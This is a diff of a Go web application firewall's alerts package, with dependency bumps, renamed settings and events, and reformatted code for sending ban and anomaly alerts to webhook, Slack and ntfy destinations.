github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4= github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M= github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM= github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
@@ -34,6 +42,10 @@ github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPs
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0= github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk= github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM= github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
@@ -58,8 +70,24 @@ github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc= github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI= github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
github.com/sagikazarmark/locafero v0.11.0 h1:1iurJgmM9G3PA/I+wWYIOw/5SyBtxapeHDcg+AAIFXc=
github.com/sagikazarmark/locafero v0.11.0/go.mod h1:nVIGvgyzw595SUSUE6tvCp3YYTeHs15MvlmU87WwIik=
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 h1:+jumHNA0Wrelhe64i8F6HNlS8pkoyMv5sreGx2Ry5Rw=
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8/go.mod h1:3n1Cwaq1E1/1lhQhtRK2ts/ZwZEhjcQeJQ1RuC6Q/8U=
github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I=
github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg=
github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY=
github.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo=
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=
github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE= github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg= github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY= github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
@@ -79,14 +107,14 @@ go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBs
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y= go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c= golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o= golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To= golang.org/x/net v0.60.0 h1:79p50tfZlm0J9YfoDsSi639qSXNGVwEzOPLCxM2FsYU=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU= golang.org/x/net v0.60.0/go.mod h1:2DA/G1UfVbCpQPeWTmMPGY7Cs2PkBkwu743bVX5PIVg=
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk= golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0= golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo= golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og= golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8= golang.org/x/text v0.42.0 h1:JbOZXgfeCPU9gacVtYliJqOhD+zhrEqK4LfdpmlUZqI=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M= golang.org/x/text v0.42.0/go.mod h1:ojzP1Z+2QtioaF8DTtO8K5q7JWVVYwZKenzujK0Zd0E=
golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU= golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0= golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
+108 -65
View File
@@ -1,12 +1,12 @@
// Package alerts sends alerts on bans, on traffic over an anomaly // Package alerts sends alerts on bans, on traffic over an anomaly
// threshold, on a source that fails and on a file with an error to each // threshold, on a source that fails and on a file with an error to each
// destination set: to the webhook // destination set: to the webhook
// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON // SWW_WAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
// object" in docs/alerts.md describes, to the Slack incoming // object" in docs/alerts.md describes, to the Slack incoming
// webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the // webhook SWW_WAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
// ntfy topic SWWAF_ALERT_NTFY_URL names. A repeat within // ntfy topic SWW_WAF_ALERT_NTFY_URL names. A repeat within
// SWWAF_ALERT_COOLDOWN is held back, and so is an alert past // SWW_WAF_ALERT_COOLDOWN is held back, and so is an alert past
// SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a // SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
// bounded queue of each destination's own, so that a destination that is // bounded queue of each destination's own, so that a destination that is
// slow or unreachable holds up neither the others nor any request. The // slow or unreachable holds up neither the others nor any request. The
// state is written to alerts.json and read from it by the state package. // state is written to alerts.json and read from it by the state package.
@@ -34,45 +34,47 @@ import (
"time" "time"
) )
// The events an alert is for, as SWWAF_ALERT_EVENTS names them. // The events an alert is for, as SWW_WAF_ALERT_EVENTS names them.
const ( const (
// EventBan is a ban smallwebwaf made. // EventBan is a ban sww made.
EventBan = "ban" EventBan = "ban"
// EventPermanentBan is a permanent ban smallwebwaf made, or a ban it // EventPermanentBan is a permanent ban sww made, or a ban it
// made permanent. // made permanent.
EventPermanentBan = "permanent_ban" EventPermanentBan = "permanent_ban"
// EventAnomaly is a count of requests or bytes over an anomaly // EventAnomaly is a count of requests or bytes over an anomaly
// threshold. // threshold.
EventAnomaly = "anomaly" EventAnomaly = "anomaly"
// EventWAFBlock is a request the Core Rule Set scored at or over // EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD, refused in block mode, let through in
// detect mode. // detect mode.
EventWAFBlock = "waf_block" EventCoreRuleSetMatch = "core_rule_set_match"
// EventReputationHit is a request whose client a blocklist, the // EventReputationHit is a request whose client a blocklist, the
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score // CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
// is a hit. // is a hit.
EventReputationHit = "reputation_hit" EventReputationHit = "reputation_hit"
// EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch // EventSourceFailure is GeoJS failing or refusing sww, a fetch
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB // of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
// failing or refused, or the day's AbuseIPDB checks used up. // failing or refused, or the day's AbuseIPDB checks used up.
EventSourceFailure = "source_failure" EventSourceFailure = "source_failure"
// EventFileError is a rule file or state file edited while smallwebwaf // EventFileError is one of:
// runs that does not parse, a replacement of the lookup database that // - a rule file or state file edited while sww runs that does not parse;
// cannot be read, or a state file that cannot be written. // - a cache file that does not parse, at start or after an edit;
// - a state file or cache file that cannot be written;
// - a replacement of the lookup database that cannot be read.
EventFileError = "file_error" EventFileError = "file_error"
// EventSummary is the summary sent as an hour ends: of the alerts held // EventSummary is the summary sent as an hour ends: of the alerts held
// back in it past SWWAF_ALERT_MAX_PER_HOUR, and of the repeats held // back in it past SWW_WAF_ALERT_MAX_PER_HOUR, and of the repeats held
// back by the cooldowns dropped as it ends, which no alert let through // back by the cooldowns dropped as it ends, which no alert let through
// has given. It is sent with SWWAF_ALERT_MAX_PER_HOUR off too, for // has given. It is sent with SWW_WAF_ALERT_MAX_PER_HOUR off too, for
// those repeats. SWWAF_ALERT_EVENTS does not name it. // those repeats. SWW_WAF_ALERT_EVENTS does not name it.
EventSummary = "summary" EventSummary = "summary"
) )
// Events returns every event SWWAF_ALERT_EVENTS can name, which is its // Events returns every event SWW_WAF_ALERT_EVENTS can name, which is its
// default. // default.
func Events() []string { func Events() []string {
return []string{ return []string{
EventBan, EventPermanentBan, EventWAFBlock, EventAnomaly, EventBan, EventPermanentBan, EventCoreRuleSetMatch, EventAnomaly,
EventReputationHit, EventSourceFailure, EventFileError, EventReputationHit, EventSourceFailure, EventFileError,
} }
} }
@@ -80,12 +82,12 @@ func Events() []string {
// The destinations alerts are sent to, as the metrics and alerts.json // The destinations alerts are sent to, as the metrics and alerts.json
// name them. // name them.
const ( const (
// DestinationWebhook is the webhook SWWAF_ALERT_WEBHOOK_URL names. // DestinationWebhook is the webhook SWW_WAF_ALERT_WEBHOOK_URL names.
DestinationWebhook = "webhook" DestinationWebhook = "webhook"
// DestinationSlack is the Slack incoming webhook // DestinationSlack is the Slack incoming webhook
// SWWAF_ALERT_SLACK_WEBHOOK_URL names. // SWW_WAF_ALERT_SLACK_WEBHOOK_URL names.
DestinationSlack = "slack" DestinationSlack = "slack"
// DestinationNtfy is the ntfy topic SWWAF_ALERT_NTFY_URL names. // DestinationNtfy is the ntfy topic SWW_WAF_ALERT_NTFY_URL names.
DestinationNtfy = "ntfy" DestinationNtfy = "ntfy"
) )
@@ -121,26 +123,26 @@ var (
// NtfyURL set, no alert is sent. // NtfyURL set, no alert is sent.
type Params struct { type Params struct {
// WebhookURL is where each alert is posted as JSON // WebhookURL is where each alert is posted as JSON
// (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders // (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
// are sent with each (SWWAF_ALERT_WEBHOOK_HEADERS). // are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
WebhookURL *url.URL WebhookURL *url.URL
WebhookHeaders http.Header WebhookHeaders http.Header
// SlackURL is the Slack incoming webhook each alert is posted to as a // SlackURL is the Slack incoming webhook each alert is posted to as a
// message (SWWAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset. // message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
SlackURL *url.URL SlackURL *url.URL
// NtfyURL is the ntfy topic each alert is published to // NtfyURL is the ntfy topic each alert is published to
// (SWWAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless // (SWW_WAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
// empty, is sent with each as a bearer token (SWWAF_ALERT_NTFY_TOKEN). // empty, is sent with each as a bearer token (SWW_WAF_ALERT_NTFY_TOKEN).
NtfyURL *url.URL NtfyURL *url.URL
NtfyToken string NtfyToken string
// Events are the events alerts are sent for (SWWAF_ALERT_EVENTS). // Events are the events alerts are sent for (SWW_WAF_ALERT_EVENTS).
Events []string Events []string
// Cooldown is how long a repeat of an alert is held back // Cooldown is how long a repeat of an alert is held back
// (SWWAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts // (SWW_WAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
// sent in an hour (SWWAF_ALERT_MAX_PER_HOUR), 0 for no limit. // sent in an hour (SWW_WAF_ALERT_MAX_PER_HOUR), 0 for no limit.
Cooldown time.Duration Cooldown time.Duration
MaxPerHour int MaxPerHour int
// Instance is SWWAF_INSTANCE_NAME, which every alert gives. // Instance is SWW_WAF_INSTANCE_NAME, which every alert gives.
Instance string Instance string
// Now tells the time of an alert, normally time.Now in UTC. // Now tells the time of an alert, normally time.Now in UTC.
Now func() time.Time Now func() time.Time
@@ -151,7 +153,7 @@ type Params struct {
// Alert is one alert, as the webhook is sent it and alerts.json holds it, // Alert is one alert, as the webhook is sent it and alerts.json holds it,
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and // with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
// Country are, for a ban, the client's as the ban's notes give them. Host is // Country are, for a ban, the client's as the ban's notes give them. Host is
// the site of the request that raised the alert, while one servewaf serves // the site of the request that raised the alert, while one waf serves
// many sites, and "" otherwise. // many sites, and "" otherwise.
// //
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case //nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
@@ -220,7 +222,7 @@ type State struct {
// requests to it failed, and how many alerts were dropped from its full // requests to it failed, and how many alerts were dropped from its full
// queue or given up as it refused them. // queue or given up as it refused them.
type Counts struct { type Counts struct {
Sent, Failed, Dropped int64 Sent, SendFailures, Dropped int64
} }
// Queue takes the alerts raised, holds back those it must, and sends the // Queue takes the alerts raised, holds back those it must, and sends the
@@ -264,7 +266,7 @@ type destination struct {
// waiting are the alerts waiting to be sent, oldest first. // waiting are the alerts waiting to be sent, oldest first.
waiting []*Alert waiting []*Alert
sent, failed, dropped atomic.Int64 sent, sendFailures, dropped atomic.Int64
} }
// cooldownKey is what makes an alert a repeat of another: the same event // cooldownKey is what makes an alert a repeat of another: the same event
@@ -289,7 +291,15 @@ func cooldownKeyOf(alert *Alert) cooldownKey {
asn, _ := alert.Detail["asn"].(string) asn, _ := alert.Detail["asn"].(string)
name, _ := alert.Detail["name"].(string) name, _ := alert.Detail["name"].(string)
return cooldownKey{alert.Event, alert.Netblock, file, source, scope, asn, name} return cooldownKey{
alert.Event,
alert.Netblock,
file,
source,
scope,
asn,
name,
}
} }
// New returns a Queue with no alert yet. // New returns a Queue with no alert yet.
@@ -301,17 +311,17 @@ func New(params Params) *Queue {
} }
if params.WebhookURL != nil { if params.WebhookURL != nil {
q.addDestination(DestinationWebhook, "SWWAF_ALERT_WEBHOOK_URL", q.addDestination(DestinationWebhook, "SWW_WAF_ALERT_WEBHOOK_URL",
params.WebhookURL, q.webhookMessage) params.WebhookURL, q.webhookMessage)
} }
if params.SlackURL != nil { if params.SlackURL != nil {
q.addDestination(DestinationSlack, "SWWAF_ALERT_SLACK_WEBHOOK_URL", q.addDestination(DestinationSlack, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL",
params.SlackURL, slackMessage) params.SlackURL, slackMessage)
} }
if params.NtfyURL != nil { if params.NtfyURL != nil {
q.addDestination(DestinationNtfy, "SWWAF_ALERT_NTFY_URL", q.addDestination(DestinationNtfy, "SWW_WAF_ALERT_NTFY_URL",
params.NtfyURL, q.ntfyMessage) params.NtfyURL, q.ntfyMessage)
} }
@@ -319,7 +329,7 @@ func New(params Params) *Queue {
} }
// Raise sends alert, which names its event and what is particular to it, // Raise sends alert, which names its event and what is particular to it,
// unless no destination is set or SWWAF_ALERT_EVENTS leaves its event // unless no destination is set or SWW_WAF_ALERT_EVENTS leaves its event
// out. It gives alert the instance and the time. An alert that repeats // out. It gives alert the instance and the time. An alert that repeats
// the last one let through less than Cooldown before is held back and // the last one let through less than Cooldown before is held back and
// counted. The next one let through gives that count, unless an hour of // counted. The next one let through gives that count, unless an hour of
@@ -331,7 +341,8 @@ func New(params Params) *Queue {
// queue of each destination, from which Run sends it, and with queueSize // queue of each destination, from which Run sends it, and with queueSize
// alerts waiting for a destination, the oldest is dropped. // alerts waiting for a destination, the oldest is dropped.
func (q *Queue) Raise(alert Alert) { func (q *Queue) Raise(alert Alert) {
if len(q.destinations) == 0 || !slices.Contains(q.params.Events, alert.Event) { if len(q.destinations) == 0 ||
!slices.Contains(q.params.Events, alert.Event) {
return return
} }
@@ -363,7 +374,7 @@ func (q *Queue) Raise(alert Alert) {
} }
// WouldSend reports whether Raise would let an alert for event on // WouldSend reports whether Raise would let an alert for event on
// netblock through now: a destination is set, SWWAF_ALERT_EVENTS chooses // netblock through now: a destination is set, SWW_WAF_ALERT_EVENTS chooses
// event, no alert for event on netblock was let through less than // event, no alert for event on netblock was let through less than
// Cooldown before, and fewer than MaxPerHour alerts have been let through // Cooldown before, and fewer than MaxPerHour alerts have been let through
// in the hour under way. Unlike Raise, it counts nothing. // in the hour under way. Unlike Raise, it counts nothing.
@@ -378,7 +389,8 @@ func (q *Queue) WouldSend(event string, netblock netip.Prefix) bool {
now := q.params.Now() now := q.params.Now()
last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}] last, found := q.cooldowns[cooldownKey{event: event, netblock: netblock}]
if q.params.Cooldown > 0 && found && now.Sub(last.Sent) < q.params.Cooldown { if q.params.Cooldown > 0 && found &&
now.Sub(last.Sent) < q.params.Cooldown {
return false return false
} }
@@ -426,7 +438,9 @@ func (q *Queue) Counts(name string) Counts {
for _, d := range q.destinations { for _, d := range q.destinations {
if d.name == name { if d.name == name {
return Counts{ return Counts{
Sent: d.sent.Load(), Failed: d.failed.Load(), Dropped: d.dropped.Load(), Sent: d.sent.Load(),
SendFailures: d.sendFailures.Load(),
Dropped: d.dropped.Load(),
} }
} }
} }
@@ -470,10 +484,15 @@ func (q *Queue) Snapshot() State {
} }
slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int { slices.SortFunc(state.Cooldowns, func(a, b Cooldown) int {
return cmp.Or(a.Netblock.Compare(b.Netblock), cmp.Compare(a.Event, b.Event), return cmp.Or(
cmp.Compare(a.File, b.File), cmp.Compare(a.Source, b.Source), a.Netblock.Compare(b.Netblock),
cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Event, b.Event),
cmp.Compare(a.Name, b.Name)) cmp.Compare(a.File, b.File),
cmp.Compare(a.Source, b.Source),
cmp.Compare(a.Scope, b.Scope),
cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name),
)
}) })
for _, d := range q.destinations { for _, d := range q.destinations {
@@ -605,14 +624,17 @@ func (q *Queue) endHour(now time.Time) {
var reasons []string var reasons []string
if heldBack > 0 { if heldBack > 0 {
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+ reasons = append(
"past the %d an hour SWWAF_ALERT_MAX_PER_HOUR allows", heldBack, reasons,
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour)) fmt.Sprintf("%d alerts held back in the hour from %s, "+
"past the %d an hour SWW_WAF_ALERT_MAX_PER_HOUR allows", heldBack,
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
)
} }
if repeats > 0 { if repeats > 0 {
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+ reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
"SWWAF_ALERT_COOLDOWN that no later alert gives", repeats)) "SWW_WAF_ALERT_COOLDOWN that no later alert gives", repeats))
} }
if len(reasons) > 0 { if len(reasons) > 0 {
@@ -675,7 +697,7 @@ func (d *destination) run(ctx context.Context) {
retryAt = time.Time{} retryAt = time.Time{}
case errors.Is(err, errRefused): case errors.Is(err, errRefused):
d.remove(alert) d.remove(alert)
d.failed.Add(1) d.sendFailures.Add(1)
d.dropped.Add(1) d.dropped.Add(1)
retryDelay = 0 retryDelay = 0
@@ -683,15 +705,22 @@ func (d *destination) run(ctx context.Context) {
d.processLog.Warn("gave up an alert "+d.setting+" refused", d.processLog.Warn("gave up an alert "+d.setting+" refused",
"event", alert.Event, "error", err.Error()) "event", alert.Event, "error", err.Error())
case ctx.Err() == nil: // not cut off as smallwebwaf stops case ctx.Err() == nil: // not cut off as sww stops
d.failed.Add(1) d.sendFailures.Add(1)
retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay), retryDelay = min(
maxRetryDelay) max(retryDelayFactor*retryDelay, firstRetryDelay),
maxRetryDelay,
)
retryAt = time.Now().Add(retryDelay) retryAt = time.Now().Add(retryDelay)
d.processLog.Warn("sending an alert to "+d.setting+" failed", d.processLog.Warn(
"error", err.Error(), "sending_again_in", retryDelay.String()) "sending an alert to "+d.setting+" failed",
"error",
err.Error(),
"sending_again_in",
retryDelay.String(),
)
} }
} }
} }
@@ -779,8 +808,12 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
ctx, cancel := context.WithTimeout(ctx, sendTimeout) ctx, cancel := context.WithTimeout(ctx, sendTimeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(), req, err := http.NewRequestWithContext(
bytes.NewReader(body)) ctx,
http.MethodPost,
d.url.String(),
bytes.NewReader(body),
)
if err != nil { if err != nil {
return fmt.Errorf("make the request: %w", err) return fmt.Errorf("make the request: %w", err)
} }
@@ -834,7 +867,14 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
// in JSON: its title in bold, then its text, with &, < and > escaped, as // in JSON: its title in bold, then its text, with &, < and > escaped, as
// Slack asks, so that nothing in them is read as a link or a mention. // Slack asks, so that nothing in them is read as a link or a mention.
func slackMessage(alert *Alert) ([]byte, http.Header, error) { func slackMessage(alert *Alert) ([]byte, http.Header, error) {
escape := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;").Replace escape := strings.NewReplacer(
"&",
"&amp;",
"<",
"&lt;",
">",
"&gt;",
).Replace
body, err := json.Marshal(map[string]string{ body, err := json.Marshal(map[string]string{
"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)), "text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
@@ -871,7 +911,7 @@ func ntfyPriority(event string) string {
return "high" return "high"
case EventReputationHit: case EventReputationHit:
return "low" return "low"
default: // ban, waf_block and summary default: // ban, core_rule_set_match and summary
return "default" return "default"
} }
} }
@@ -882,7 +922,7 @@ func ntfyTag(event string) string {
switch event { switch event {
case EventBan, EventPermanentBan: case EventBan, EventPermanentBan:
return "no_entry" return "no_entry"
case EventWAFBlock: case EventCoreRuleSetMatch:
return "shield" return "shield"
case EventAnomaly: case EventAnomaly:
return "chart_with_upwards_trend" return "chart_with_upwards_trend"
@@ -932,7 +972,10 @@ func text(alert *Alert) string {
} }
if alert.SuppressedRepeats > 0 { if alert.SuppressedRepeats > 0 {
lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats)) lines = append(
lines,
fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
)
} }
return strings.Join(lines, "\n") return strings.Join(lines, "\n")
+333 -107
View File
@@ -34,12 +34,12 @@ const (
// webhookURL is where the alerts are posted, slackURL the Slack // webhookURL is where the alerts are posted, slackURL the Slack
// incoming webhook, and ntfyURL the ntfy topic. ntfyToken is the ntfy // incoming webhook, and ntfyURL the ntfy topic. ntfyToken is the ntfy
// token of the tests that set one. // token of the tests that set one.
